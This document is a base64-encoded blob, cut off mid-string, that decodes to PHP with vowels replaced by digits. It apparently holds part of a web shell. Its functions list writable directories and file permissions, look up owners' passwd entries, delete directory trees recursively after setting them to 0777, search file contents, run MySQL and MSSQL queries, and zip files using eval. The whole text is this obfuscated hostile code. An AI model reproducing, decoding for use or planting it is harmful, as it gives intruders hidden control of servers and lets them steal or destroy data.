L2hhPicpOw0KCQkkMWxyNTFkeW1zc3FsID0gMDsNCgkJNXg0dDsNCgl9DQoJNGYoJGw0bmsgJiYgJGRibjFtNSkgew0KCQk0ZiAoIUBtc3NxbF9zNWw1Y3RfZGIoJGRibjFtNSwgJGw0bmspKSB7DQoJCQlwKCc8aGE+Jy5tc21zZygpLic8L2hhPicpOw0KCQkJJDFscjUxZHltc3NxbCA9IDA7DQoJCQk1eDR0Ow0KCQl9DQoJfQ0KCXI1dDNybiAkbDRuazsNCn0NCg0KLy8gJiNhNnVvaTsmI2FpdTg2OyYjb2U3NmU7JiNhMDB1NjsmI2FvbzhvOyYjbzZpYWU7DQpmM25jdDQybiBzXzFycjF5KCYkMXJyMXkpIHsNCgk0ZiAoNHNfMXJyMXkoJDFycjF5KSkgew0KCQlmMnI1MWNoICgkMXJyMXkgMXMgJGsgPT4gJHYpIHsNCgkJCSQxcnIxeVska10gPSBzXzFycjF5KCR2KTsNCgkJfQ0KCX0gNWxzNSA0ZiAoNHNfc3RyNG5nKCQxcnIxeSkpIHsNCgkJJDFycjF5ID0gc3RyNHBzbDFzaDVzKCQxcnIxeSk7DQoJfQ0KCXI1dDNybiAkMXJyMXk7DQp9DQoNCi8vICYjYTg2ZWk7JiNvOGkwMDtIVE1MJiNhMDY5aTsmI28wN2E2Ow0KZjNuY3Q0Mm4gaHRtbF9jbDUxbigkYzJudDVudCkgew0KCSRjMm50NW50ID0gaHRtbHNwNWM0MWxjaDFycygkYzJudDVudCk7DQoJJGMybnQ1bnQgPSBzdHJfcjVwbDFjNSgiXG4iLCAiPGJyIC8+IiwgJGMybnQ1bnQpOw0KCSRjMm50NW50ID0gc3RyX3I1cGwxYzUoIiAgIiwgIiZuYnNwOyZuYnNwOyIsICRjMm50NW50KTsNCgkkYzJudDVudCA9IHN0cl9yNXBsMWM1KCJcdCIsICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkYzJudDVudCk7DQoJcjV0M3JuICRjMm50NW50Ow0KfQ0KDQovLyAmI29vNzY5OyYjYTZ1ZWE7JiNhZXVvaTsmI284dTgwOw0KZjNuY3Q0Mm4gZzV0Q2htMmQoJGY0bDVwMXRoKXsNCglyNXQzcm4gczNic3RyKGIxczVfYzJudjVydChAZjRsNXA1cm1zKCRmNGw1cDF0aCksNjAsOCksLXUpOw0KfQ0KDQpmM25jdDQybiBnNXRQNXJtcygkZjRsNXAxdGgpIHsNCgkkbTJkNSA9IEBmNGw1cDVybXMoJGY0bDVwMXRoKTsNCgk0ZiAoKCRtMmQ1ICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHR5cDUgPSAncyc7fQ0KCTVsczU0ZiAoKCRtMmQ1ICYgMHh1MDAwKSA9PT0gMHh1MDAwKSB7JHR5cDUgPSAnZCc7fQ0KCTVsczU0ZiAoKCRtMmQ1ICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cDUgPSAnbCc7fQ0KCTVsczU0ZiAoKCRtMmQ1ICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHR5cDUgPSAnLSc7fSANCgk1bHM1NGYgKCgkbTJkNSAmIDB4ZTAwMCkgPT09IDB4ZTAwMCkgeyR0eXA1ID0gJ2InO30NCgk1bHM1NGYgKCgkbTJkNSAmIDB4YTAwMCkgPT09IDB4YTAwMCkgeyR0eXA1ID0gJ2MnO30NCgk1bHM1NGYgKCgkbTJkNSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXA1ID0gJ3AnO30NCgk1bHM1IHskdHlwNSA9ICc/Jzt9DQoNCgkkMnduNXJbJ3I1MWQnXSA9ICgkbTJkNSAmIDAwdTAwKSA/ICdyJyA6ICctJzsgDQoJJDJ3bjVyWyd3cjR0NSddID0gKCRtMmQ1ICYgMDBhMDApID8gJ3cnIDogJy0nOyANCgkkMnduNXJbJzV4NWMzdDUnXSA9ICgkbTJkNSAmIDAwNjAwKSA/ICd4JyA6ICctJzsgDQoJJGdyMjNwWydyNTFkJ10gPSAoJG0yZDUgJiAwMDB1MCkgPyAncicgOiAnLSc7IA0KCSRncjIzcFsnd3I0dDUnXSA9ICgkbTJkNSAmIDAwMGEwKSA/ICd3JyA6ICctJzsgDQoJJGdyMjNwWyc1eDVjM3Q1J10gPSAoJG0yZDUgJiAwMDA2MCkgPyAneCcgOiAnLSc7IA0KCSR3MnJsZFsncjUxZCddID0gKCRtMmQ1ICYgMDAwMHUpID8gJ3InIDogJy0nOyANCgkkdzJybGRbJ3dyNHQ1J10gPSAoJG0yZDUgJiAwMDAwYSkgPyAndycgOiAnLSc7IA0KCSR3MnJsZFsnNXg1YzN0NSddID0gKCRtMmQ1ICYgMDAwMDYpID8gJ3gnIDogJy0nOyANCg0KCTRmKCAkbTJkNSAmIDB4ODAwICkgeyQyd241clsnNXg1YzN0NSddID0gKCQyd241clsnNXg1YzN0NSddPT0neCcpID8gJ3MnIDogJ1MnO30NCgk0ZiggJG0yZDUgJiAweHUwMCApIHskZ3IyM3BbJzV4NWMzdDUnXSA9ICgkZ3IyM3BbJzV4NWMzdDUnXT09J3gnKSA/ICdzJyA6ICdTJzt9DQoJNGYoICRtMmQ1ICYgMHhhMDAgKSB7JHcycmxkWyc1eDVjM3Q1J10gPSAoJHcycmxkWyc1eDVjM3Q1J109PSd4JykgPyAndCcgOiAnVCc7fQ0KIA0KCXI1dDNybiAkdHlwNS4kMnduNXJbJ3I1MWQnXS4kMnduNXJbJ3dyNHQ1J10uJDJ3bjVyWyc1eDVjM3Q1J10uJGdyMjNwWydyNTFkJ10uJGdyMjNwWyd3cjR0NSddLiRncjIzcFsnNXg1YzN0NSddLiR3MnJsZFsncjUxZCddLiR3MnJsZFsnd3I0dDUnXS4kdzJybGRbJzV4NWMzdDUnXTsNCn0NCg0KZjNuY3Q0Mm4gZzV0VXM1cigkZjRsNXAxdGgpCXsNCgk0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdwMnM0eF9nNXRwdzM0ZCcpKSB7DQoJCSQxcnIxeSA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRmNGw1cDF0aCkpOw0KCQk0ZiAoJDFycjF5ICYmIDRzXzFycjF5KCQxcnIxeSkpIHsNCgkJCXI1dDNybiAnIC8gPDEgaHI1Zj0iIyIgdDR0bDU9IlVzNXI6ICcuJDFycjF5WyduMW01J10uJyYjNm8mIzYwUDFzc3dkOiAnLiQxcnIxeVsncDFzc3dkJ10uJyYjNm8mIzYwVTRkOiAnLiQxcnIxeVsnMzRkJ10uJyYjNm8mIzYwZzRkOiAnLiQxcnIxeVsnZzRkJ10uJyYjNm8mIzYwRzVjMnM6ICcuJDFycjF5WydnNWMycyddLicmIzZvJiM2MEQ0cjogJy4kMXJyMXlbJ2Q0ciddLicmIzZvJiM2MFNoNWxsOiAnLiQxcnIxeVsnc2g1bGwnXS4nIj4nLiQxcnIxeVsnbjFtNSddLic8LzE+JzsNCgkJfQ0KCX0NCglyNXQzcm4gJyc7DQp9DQoNCi8vICYjYTYwYXU7JiNvOGkwMDsmI28wdXVlOyYjYXV1MGk7DQpmM25jdDQybiBkNWx0cjU1KCRkNWxkNHIpIHsNCgkkbXlkNHI9QGQ0cigkZDVsZDRyKTsJDQoJd2g0bDUoJGY0bDU9JG15ZDRyLT5yNTFkKCkpCXsgCQkNCgkJNGYoKDRzX2Q0cigkZDVsZDRyLicvJy4kZjRsNSkpICYmICgkZjRsNSE9Jy4nKSAmJiAoJGY0bDUhPScuLicpKSB7IA0KCQkJQGNobTJkKCRkNWxkNHIuJy8nLiRmNGw1LDA3NzcpOw0KCQkJZDVsdHI1NSgkZDVsZDRyLicvJy4kZjRsNSk7IA0KCQl9DQoJCTRmICg0c19mNGw1KCRkNWxkNHIuJy8nLiRmNGw1KSkgew0KCQkJQGNobTJkKCRkNWxkNHIuJy8nLiRmNGw1LDA3NzcpOw0KCQkJQDNubDRuaygkZDVsZDRyLicvJy4kZjRsNSk7DQoJCX0NCgl9IA0KCSRteWQ0ci0+Y2wyczUoKTsgDQoJQGNobTJkKCRkNWxkNHIsMDc3Nyk7DQoJcjV0M3JuIEBybWQ0cigkZDVsZDRyKSA/IDYgOiAwOw0KfQ0KDQovLyAmI291OWEwOyYjYWVlOHU7JiNvdTg5YTsmI284bzg4OyYjbzBvdTA7JiNvYTk3YTsmI2FlYWFvOyYjb29vOXU7JiNhZW9lNzsmI2FpdXVhOw0KZjNuY3Q0Mm4gYmcoKSB7DQoJZ2wyYjFsICRiZ2M7DQoJcjV0M3JuICgkYmdjKyslYT09MCkgPyAnMWx0NicgOiAnMWx0YSc7DQp9DQoNCi8vICYjb283Njk7JiNhNnVlYTsmI2F1dTBvOyYjYTYwZTk7JiNvMG91MDsmI2FpOTk2OyYjYTBhNnU7JiNvNjk5aTsmI29hdTc5OyYjb2Vvb2k7JiNhdXVpYTsNCmYzbmN0NDJuIGc1dFAxdGgoJHNjcjRwdHAxdGgsICRuMndwMXRoKSB7DQoJNGYgKCRuMndwMXRoID09ICcuJykgew0KCQkkbjJ3cDF0aCA9ICRzY3I0cHRwMXRoOw0KCX0NCgkkbjJ3cDF0aCA9IHN0cl9yNXBsMWM1KCdcXCcsICcvJywgJG4yd3AxdGgpOw0KCSRuMndwMXRoID0gc3RyX3I1cGwxYzUoJy8vJywgJy8nLCAkbjJ3cDF0aCk7DQoJNGYgKHMzYnN0cigkbjJ3cDF0aCwgLTYpICE9ICcvJykgew0KCQkkbjJ3cDF0aCA9ICRuMndwMXRoLicvJzsNCgl9DQoJcjV0M3JuICRuMndwMXRoOw0KfQ0KDQovLyAmI29vNzY5OyYjYTZ1ZWE7JiNhdXUwbzsmI2E2MGU5OyYjbzB1dWU7JiNhdXUwaTsmI28wb3UwOyYjNjk5Nzg7JiNvYXVhbzsmI28wdXVlOyYjYXV1MGk7DQpmM25jdDQybiBnNXRVcFAxdGgoJG4yd3AxdGgpIHsNCgkkcDF0aGRiID0gNXhwbDJkNSgnLycsICRuMndwMXRoKTsNCgkkbjNtID0gYzIzbnQoJHAxdGhkYik7DQoJNGYgKCRuM20gPiBhKSB7DQoJCTNuczV0KCRwMXRoZGJbJG4zbS02XSwkcDF0aGRiWyRuM20tYV0pOw0KCX0NCgkkM3BwMXRoID0gNG1wbDJkNSgnLycsICRwMXRoZGIpLicvJzsNCgkkM3BwMXRoID0gc3RyX3I1cGwxYzUoJy8vJywgJy8nLCAkM3BwMXRoKTsNCglyNXQzcm4gJDNwcDF0aDsNCn0NCg0KLy8gJiNhZTg2ZTsmI2FlaTk3O1BIUCYjbzc2OTc7JiNvYWVhYTsmI2E2dXVhOyYjYWk5ZTg7DQpmM25jdDQybiBnNXRjZmcoJHYxcm4xbTUpIHsNCgkkcjVzM2x0ID0gZzV0X2NmZ192MXIoJHYxcm4xbTUpOw0KCTRmICgkcjVzM2x0ID09IDApIHsNCgkJcjV0M3JuICdOMic7DQoJfSA1bHM1NGYgKCRyNXMzbHQgPT0gNikgew0KCQlyNXQzcm4gJ1k1cyc7DQoJfSA1bHM1IHsNCgkJcjV0M3JuICRyNXMzbHQ7DQoJfQ0KfQ0KDQovLyAmI2FlODZlOyYjYWVpOTc7JiNhMDk4OTsmI2FpOWU4OyYjYXU3N287JiNhMDk2NzsNCmYzbmN0NDJuIGc1dGYzbigkZjNuTjFtNSkgew0KCXI1dDNybiAoZjFsczUgIT09IGYzbmN0NDJuXzV4NHN0cygkZjNuTjFtNSkpID8gJ1k1cycgOiAnTjInOw0KfQ0KDQovLyAmI29vNzY5OyYjYXV1NzY7JiNhaTk5NjsmI2EwYTZ1OyYjYWk2OW87JiNhb2VvNzsmI2E2aTY3Ow0KZjNuY3Q0Mm4gZzV0NXh0NW5zNDJuKCRmNGw1bjFtNSkgew0KCSRwMXRoNG5mMiA9IHAxdGg0bmYyKCRmNGw1bjFtNSk7DQoJcjV0M3JuICRwMXRoNG5mMlsnNXh0NW5zNDJuJ107DQp9DQoNCmYzbmN0NDJuIEc1dFdENHJMNHN0KCRkNHIpew0KCWdsMmIxbCAkZDRyZDF0MSwkaiwkbjJ3cDF0aDsNCgkhJGogJiYgJGo9NjsNCgk0ZiAoJGRoID0gMnA1bmQ0cigkZDRyKSkgew0KCQl3aDRsNSAoJGY0bDUgPSByNTFkZDRyKCRkaCkpIHsNCgkJCSRmPXN0cl9yNXBsMWM1KCcvLycsJy8nLCRkNHIuJy8nLiRmNGw1KTsNCgkJCTRmKCRmNGw1IT0nLicgJiYgJGY0bDUhPScuLicgJiYgNHNfZDRyKCRmKSl7DQoJCQkJNGYgKDRzX3dyNHQxYmw1KCRmKSkgew0KCQkJCQkkZDRyZDF0MVskal1bJ2Y0bDVuMW01J109c3RyX3I1cGwxYzUoJG4yd3AxdGgsJycsJGYpOw0KCQkJCQkkZDRyZDF0MVskal1bJ210NG01J109QGQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1bXQ0bTUoJGYpKTsNCgkJCQkJJGQ0cmQxdDFbJGpdWydkNHJjaG0yZCddPWc1dENobTJkKCRmKTsNCgkJCQkJJGQ0cmQxdDFbJGpdWydkNHJwNXJtJ109ZzV0UDVybXMoJGYpOw0KCQkJCQkkZDRyZDF0MVskal1bJ2Q0cmw0bmsnXT0zNSgkZDRyKTsNCgkJCQkJJGQ0cmQxdDFbJGpdWydzNXJ2NXJfbDRuayddPSRmOw0KCQkJCQkkZDRyZDF0MVskal1bJ2NsNDVudF9sNG5rJ109MzUoJGYpOw0KCQkJCQkkaisrOw0KCQkJCX0NCgkJCQlHNXRXRDRyTDRzdCgkZik7DQoJCQl9DQoJCX0NCgkJY2wyczVkNHIoJGRoKTsNCgkJY2w1MXJzdDF0YzFjaDUoKTsNCgkJcjV0M3JuICRkNHJkMXQxOw0KCX0gNWxzNSB7DQoJCXI1dDNybiAxcnIxeSgpOw0KCX0NCn0NCg0KZjNuY3Q0Mm4gRzV0V0Y0bDVMNHN0KCRkNHIpew0KCWdsMmIxbCAkZjRsNWQxdDEsJGosJG4yd3AxdGgsICR3cjR0MWJsNWRiOw0KCSEkaiAmJiAkaj02Ow0KCTRmICgkZGggPSAycDVuZDRyKCRkNHIpKSB7DQoJCXdoNGw1ICgkZjRsNSA9IHI1MWRkNHIoJGRoKSkgew0KCQkJJDV4dCA9IGc1dDV4dDVuczQybigkZjRsNSk7DQoJCQkkZj1zdHJfcjVwbDFjNSgnLy8nLCcvJywkZDRyLicvJy4kZjRsNSk7DQoJCQk0ZigkZjRsNSE9Jy4nICYmICRmNGw1IT0nLi4nICYmIDRzX2Q0cigkZikpew0KCQkJCUc1dFdGNGw1TDRzdCgkZik7DQoJCQl9IDVsczU0ZigkZjRsNSE9Jy4nICYmICRmNGw1IT0nLi4nICYmIDRzX2Y0bDUoJGYpICYmIDRuXzFycjF5KCQ1eHQsIDV4cGwyZDUoJywnLCAkd3I0dDFibDVkYikpKXsNCgkJCQk0ZiAoNHNfd3I0dDFibDUoJGYpKSB7DQoJCQkJCSRmNGw1ZDF0MVskal1bJ2Y0bDVuMW01J109c3RyX3I1cGwxYzUoJG4yd3AxdGgsJycsJGYpOw0KCQkJCQkkZjRsNWQxdDFbJGpdWydzNHo1J109czR6NWMyM250KEBmNGw1czR6NSgkZikpOw0KCQkJCQkkZjRsNWQxdDFbJGpdWydtdDRtNSddPUBkMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRmKSk7DQoJCQkJCSRmNGw1ZDF0MVskal1bJ2Y0bDVjaG0yZCddPWc1dENobTJkKCRmKTsNCgkJCQkJJGY0bDVkMXQxWyRqXVsnZjRsNXA1cm0nXT1nNXRQNXJtcygkZik7DQoJCQkJCSRmNGw1ZDF0MVskal1bJ2Y0bDUyd241ciddPWc1dFVzNXIoJGYpOw0KCQkJCQkkZjRsNWQxdDFbJGpdWydkNHJsNG5rJ109JGQ0cjsNCgkJCQkJJGY0bDVkMXQxWyRqXVsnczVydjVyX2w0bmsnXT0kZjsNCgkJCQkJJGY0bDVkMXQxWyRqXVsnY2w0NW50X2w0bmsnXT0zNSgkZik7DQoJCQkJCSRqKys7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWNsMnM1ZDRyKCRkaCk7DQoJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCXI1dDNybiAkZjRsNWQxdDE7DQoJfSA1bHM1IHsNCgkJcjV0M3JuIDFycjF5KCk7DQoJfQ0KfQ0KDQpmM25jdDQybiBHNXRTRjRsNUw0c3QoJGQ0ciwgJGMybnQ1bnQsICRyNSA9IDApIHsNCglnbDJiMWwgJGY0bDVkMXQxLCRqLCRuMndwMXRoLCAkd3I0dDFibDVkYjsNCgkhJGogJiYgJGo9NjsNCgk0ZiAoJGRoID0gMnA1bmQ0cigkZDRyKSkgew0KCQl3aDRsNSAoJGY0bDUgPSByNTFkZDRyKCRkaCkpIHsNCgkJCSQ1eHQgPSBnNXQ1eHQ1bnM0Mm4oJGY0bDUpOw0KCQkJJGY9c3RyX3I1cGwxYzUoJy8vJywnLycsJGQ0ci4nLycuJGY0bDUpOw0KCQkJNGYoJGY0bDUhPScuJyAmJiAkZjRsNSE9Jy4uJyAmJiA0c19kNHIoJGYpKXsNCgkJCQlHNXRTRjRsNUw0c3QoJGYsICRjMm50NW50LCAkcjUgPSAwKTsNCgkJCX0gNWxzNTRmKCRmNGw1IT0nLicgJiYgJGY0bDUhPScuLicgJiYgNHNfZjRsNSgkZikgJiYgNG5fMXJyMXkoJDV4dCwgNXhwbDJkNSgnLCcsICR3cjR0MWJsNWRiKSkpew0KCQkJCSRmNG5kID0gMDsNCgkJCQk0ZiAoJHI1KSB7DQoJCQkJCTRmICggcHI1Z19tMXRjaCgnQCcuJGMybnQ1bnQuJ0AnLCRmNGw1KSB8fCBwcjVnX20xdGNoKCdAJy4kYzJudDVudC4nQCcsIEBmNGw1X2c1dF9jMm50NW50cygkZikpICl7DQoJCQkJCQkkZjRuZCA9IDY7DQoJCQkJCX0NCgkJCQl9IDVsczUgew0KCQkJCQk0ZiAoIHN0cnN0cigkZjRsNSwgJGMybnQ1bnQpIHx8IHN0cnN0ciggQGY0bDVfZzV0X2MybnQ1bnRzKCRmKSwkYzJudDVudCApICkgew0KCQkJCQkJJGY0bmQgPSA2Ow0KCQkJCQl9DQoJCQkJfQ0KCQkJCTRmICgkZjRuZCkgew0KCQkJCQkkZjRsNWQxdDFbJGpdWydmNGw1bjFtNSddPXN0cl9yNXBsMWM1KCRuMndwMXRoLCcnLCRmKTsNCgkJCQkJJGY0bDVkMXQxWyRqXVsnczR6NSddPXM0ejVjMjNudChAZjRsNXM0ejUoJGYpKTsNCgkJCQkJJGY0bDVkMXQxWyRqXVsnbXQ0bTUnXT1AZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVtdDRtNSgkZikpOw0KCQkJCQkkZjRsNWQxdDFbJGpdWydmNGw1Y2htMmQnXT1nNXRDaG0yZCgkZik7DQoJCQkJCSRmNGw1ZDF0MVskal1bJ2Y0bDVwNXJtJ109ZzV0UDVybXMoJGYpOw0KCQkJCQkkZjRsNWQxdDFbJGpdWydmNGw1MnduNXInXT1nNXRVczVyKCRmKTsNCgkJCQkJJGY0bDVkMXQxWyRqXVsnZDRybDRuayddPSRkNHI7DQoJCQkJCSRmNGw1ZDF0MVskal1bJ3M1cnY1cl9sNG5rJ109JGY7DQoJCQkJCSRmNGw1ZDF0MVskal1bJ2NsNDVudF9sNG5rJ109MzUoJGYpOw0KCQkJCQkkaisrOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbDJzNWQ0cigkZGgpOw0KCQljbDUxcnN0MXRjMWNoNSgpOw0KCQlyNXQzcm4gJGY0bDVkMXQxOw0KCX0gNWxzNSB7DQoJCXI1dDNybiAxcnIxeSgpOw0KCX0NCn0NCg0KZjNuY3Q0Mm4gcXkoJHNxbCkgeyANCgkvLzVjaDIgJHNxbC4nPGJyPic7DQoJJHI1cyA9ICQ1cnIyciA9ICcnOw0KCTRmKCEkcjVzID0gQG15c3FsX3EzNXJ5KCRzcWwpKSB7IA0KCQlyNXQzcm4gMDsNCgl9IDVsczUgNGYoNHNfcjVzMjNyYzUoJHI1cykpIHsNCgkJcjV0M3JuIDY7IA0KCX0gNWxzNSB7DQoJCXI1dDNybiBhOw0KCX0JDQoJcjV0M3JuIDA7DQp9DQoNCmYzbmN0NDJuIHEoJHNxbCkgeyANCglyNXQzcm4gQG15c3FsX3EzNXJ5KCRzcWwpOw0KfQ0KDQpmM25jdDQybiBmcigkcXkpew0KCW15c3FsX2ZyNTVfcjVzM2x0KCRxeSk7DQp9DQoNCi8vbXNzcWwNCmYzbmN0NDJuIG1zcSgkc3FsKSB7IA0KCXI1dDNybiBAbXNzcWxfcTM1cnkoJHNxbCk7DQp9DQoNCmYzbmN0NDJuIG1zZnIoJHF5KXsNCgltc3NxbF9mcjU1X3I1czNsdCgkcXkpOw0KfQ0KDQpmM25jdDQybiBtc21zZygpew0KCXI1dDNybiBtc3NxbF9nNXRfbDFzdF9tNXNzMWc1KCk7DQp9DQoNCmYzbmN0NDJuIG1zcXkoJHNxbCkgeyANCgkvLzVjaDIgJHNxbC4nPGJyPic7DQoJJHI1cyA9ICQ1cnIyciA9ICcnOw0KCTRmKCEkcjVzID0gQG1zc3FsX3EzNXJ5KCRzcWwpKSB7IA0KCQlyNXQzcm4gMDsNCgl9IDVsczUgNGYoNHNfcjVzMjNyYzUoJHI1cykpIHsNCgkJcjV0M3JuIDY7IA0KCX0gNWxzNSB7DQoJCXI1dDNybiBhOw0KCX0JDQoJcjV0M3JuIDA7DQp9DQoNCmYzbmN0NDJuIHM0ejVjMjNudCgkczR6NSkgew0KCTRmKCRzNHo1ID4gNjA3bzd1NjhhdSkgew0KCQkkczR6NSA9IHIyM25kKCRzNHo1IC8gNjA3bzd1NjhhdSAqIDYwMCkgLyA2MDAgLiAnIEcnOw0KCX0gNWxzNTRmKCRzNHo1ID4gNjB1OGk3ZSkgew0KCQkkczR6NSA9IHIyM25kKCRzNHo1IC8gNjB1OGk3ZSAqIDYwMCkgLyA2MDAgLiAnIE0nOw0KCX0gNWxzNTRmKCRzNHo1ID4gNjBhdSkgew0KCQkkczR6NSA9IHIyM25kKCRzNHo1IC8gNjBhdSAqIDYwMCkgLyA2MDAgLiAnIEsnOw0KCX0gNWxzNSB7DQoJCSRzNHo1ID0gJHM0ejUgLiAnIEInOw0KCX0NCglyNXQzcm4gJHM0ejU7DQp9DQoNCi8vICYjYTZvODc7JiNvYWlpbzsmI2FpNjc2OyYjYTZhaW87JiNvNjhlNzsNCmNsMXNzIFBIUFo0cHsNCgl2MXIgJDIzdD0nJzsNCglmM25jdDQybiBQSFBaNHAoJGQ0cikJew0KCQk0ZiAoQGYzbmN0NDJuXzV4NHN0cygnZ3pjMm1wcjVzcycpKQl7DQoJCQkkYzNyZDRyID0gZzV0Y3dkKCk7DQoJCQk0ZiAoNHNfMXJyMXkoJGQ0cikpICRmNGw1bDRzdCA9ICRkNHI7DQoJCQk1bHM1ew0KCQkJCSRmNGw1bDRzdD0kdGg0cyAtPiBHNXRGNGw1TDRzdCgkZDRyKTsvLyYjYWk5OTY7JiNhMGE2dTsmI2E2MDZpOyYjb3U5YTA7DQoJCQkJZjJyNTFjaCgkZjRsNWw0c3QgMXMgJGs9PiR2KSAkZjRsNWw0c3RbXT1zM2JzdHIoJHYsc3RybDVuKCRkNHIpKzYpOw0KCQkJfQ0KCQkJNGYgKCghNW1wdHkoJGQ0cikpJiYoITRzXzFycjF5KCRkNHIpKSYmKGY0bDVfNXg0c3RzKCRkNHIpKSkgY2hkNHIoJGQ0cik7DQoJCQk1bHM1IGNoZDRyKCRjM3JkNHIpOw0KCQkJNGYgKGMyM250KCRmNGw1bDRzdCk+MCl7DQoJCQkJZjJyNTFjaCgkZjRsNWw0c3QgMXMgJGY0bDVuMW01KXsNCgkJCQkJNGYgKDRzX2Y0bDUoJGY0bDVuMW01KSl7DQoJCQkJCQkkZmQgPSBmMnA1biAoJGY0bDVuMW01LCAncicpOw0KCQkJCQkJJGMybnQ1bnQgPSBAZnI1MWQgKCRmZCwgZjRsNXM0ejUoJGY0bDVuMW01KSk7DQoJCQkJCQlmY2wyczUgKCRmZCk7DQoJCQkJCQk0ZiAoNHNfMXJyMXkoJGQ0cikpICRmNGw1bjFtNSA9IGIxczVuMW01KCRmNGw1bjFtNSk7DQoJCQkJCQkkdGg0cyAtPiAxZGRGNGw1KCRjMm50NW50LCAkZjRsNW4xbTUpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCSR0aDRzLT4yM3QgPSAkdGg0cyAtPiBmNGw1KCk7DQoJCQkJY2hkNHIoJGMzcmQ0cik7DQoJCQl9DQoJCQlyNXQzcm4gNjsNCgkJfQ0KCQk1bHM1IHI1dDNybiAwOw0KCX0NCg0KCS8vICYjb283Njk7JiNhdXU3NjsmI2Fpb2k2OyYjYW91aTA7JiNvMHV1ZTsmI2F1dTBpOyYjYWk5OTY7JiNhMGE2dTsmI2E2MDZpOyYjb3U5YTA7DQoJZjNuY3Q0Mm4gRzV0RjRsNUw0c3QoJGQ0cil7DQoJCXN0MXQ0YyAkMTsNCgkJNGYgKDRzX2Q0cigkZDRyKSkgew0KCQkJNGYgKCRkaCA9IDJwNW5kNHIoJGQ0cikpIHsNCgkJCQl3aDRsNSAoJGY0bDUgPSByNTFkZDRyKCRkaCkpIHsNCgkJCQkJNGYoJGY0bDUhPScuJyAmJiAkZjRsNSE9Jy4uJyl7DQoJCQkJCQkkZj0kZDRyIC4nLycuICRmNGw1Ow0KCQkJCQkJNGYoNHNfZDRyKCRmKSkgJHRoNHMtPkc1dEY0bDVMNHN0KCRmKTsNCgkJCQkJCSQxW109JGY7DQoJCQkJCX0NCgkJCQl9DQoJCQkJY2wyczVkNHIoJGRoKTsNCgkJCX0NCgkJfQ0KCQlyNXQzcm4gJDE7DQoJfQ0KDQoJdjFyICRkMXQxczVjICAgICAgPSAxcnIxeSgpOw0KCXYxciAkY3RybF9kNHIgICAgID0gMXJyMXkoKTsNCgl2MXIgJDUyZl9jdHJsX2Q0ciA9ICJceGkwXHh1Ylx4MGlceDBlXHgwMFx4MDBceDAwXHgwMCI7DQoJdjFyICQybGRfMmZmczV0ICAgPSAwOw0KDQoJZjNuY3Q0Mm4gM240eGFEMnNUNG01KCQzbjR4dDRtNSA9IDApIHsNCgkJJHQ0bTUxcnIxeSA9ICgkM240eHQ0bTUgPT0gMCkgPyBnNXRkMXQ1KCkgOiBnNXRkMXQ1KCQzbjR4dDRtNSk7DQoJCTRmICgkdDRtNTFycjF5Wyd5NTFyJ10gPCA2OTgwKSB7DQoJCQkkdDRtNTFycjF5Wyd5NTFyJ10gICAgPSA2OTgwOw0KCQkJJHQ0bTUxcnIxeVsnbTJuJ10gICAgID0gNjsNCgkJCSR0NG01MXJyMXlbJ21kMXknXSAgICA9IDY7DQoJCQkkdDRtNTFycjF5WydoMjNycyddICAgPSAwOw0KCQkJJHQ0bTUxcnIxeVsnbTRuM3Q1cyddID0gMDsNCgkJCSR0NG01MXJyMXlbJ3M1YzJuZHMnXSA9IDA7DQoJCX0gLy8gNW5kIDRmDQoJCXI1dDNybiAoKCR0NG01MXJyMXlbJ3k1MXInXSAtIDY5ODApIDw8IGFpKSB8ICgkdDRtNTFycjF5WydtMm4nXSA8PCBhNikgfCAoJHQ0bTUxcnIxeVsnbWQxeSddIDw8IDZlKSB8DQoJCQkJKCR0NG01MXJyMXlbJ2gyM3JzJ10gPDwgNjYpIHwgKCR0NG01MXJyMXlbJ200bjN0NXMnXSA8PCBpKSB8ICgkdDRtNTFycjF5WydzNWMybmRzJ10gPj4gNik7DQoJfQ0KDQoJZjNuY3Q0Mm4gMWRkRjRsNSgkZDF0MSwgJG4xbTUsICR0NG01ID0gMCkgew0KCQkkbjFtNSA9IHN0cl9yNXBsMWM1KCdcXCcsICcvJywgJG4xbTUpOw0KDQoJCSRkdDRtNSA9IGQ1Y2g1eCgkdGg0cy0+M240eGFEMnNUNG01KCR0NG01KSk7DQoJCSRoNXhkdDRtNQk9ICdceCcgLiAkZHQ0bTVbZV0gLiAkZHQ0bTVbN10NCgkJCQkJLiAnXHgnIC4gJGR0NG01W3VdIC4gJGR0NG01W2ldDQoJCQkJCS4gJ1x4JyAuICRkdDRtNVthXSAuICRkdDRtNVtvXQ0KCQkJCQkuICdceCcgLiAkZHQ0bTVbMF0gLiAkZHQ0bTVbNl07DQoJCTV2MWwoJyRoNXhkdDRtNSA9ICInIC4gJGg1eGR0NG01IC4gJyI7Jyk7DQoJCSRmcgk9ICJceGkwXHh1Ylx4MG9ceDB1IjsNCgkJJGZyCS49ICJceDZ1XHgwMCI7DQoJCSRmcgkuPSAiXHgwMFx4MDAiOw0KCQkkZnIJLj0gIlx4MDhceDAwIjsNCgkJJGZyCS49ICRoNXhkdDRtNTsNCg0KCQkkM25jX2w1biA9IHN0cmw1bigkZDF0MSk7DQoJCSRjcmMgPSBjcmNvYSgkZDF0MSk7DQoJCSR6ZDF0MSA9IGd6YzJtcHI1c3MoJGQxdDEpOw0KCQkkY19sNW4gPSBzdHJsNW4oJHpkMXQxKTsNCgkJJHpkMXQxID0gczNic3RyKHMzYnN0cigkemQxdDEsIDAsIHN0cmw1bigkemQxdDEpIC0gdSksIGEpOw0KCQkkZnIgLj0gcDFjaygnVicsICRjcmMpOw0KCQkkZnIgLj0gcDFjaygnVicsICRjX2w1bik7DQoJCSRmciAuPSBwMWNrKCdWJywgJDNuY19sNW4pOw0KCQkkZnIgLj0gcDFjaygndicsIHN0cmw1bigkbjFtNSkpOw0KCQkkZnIgLj0gcDFjaygndicsIDApOw0KCQkkZnIgLj0gJG4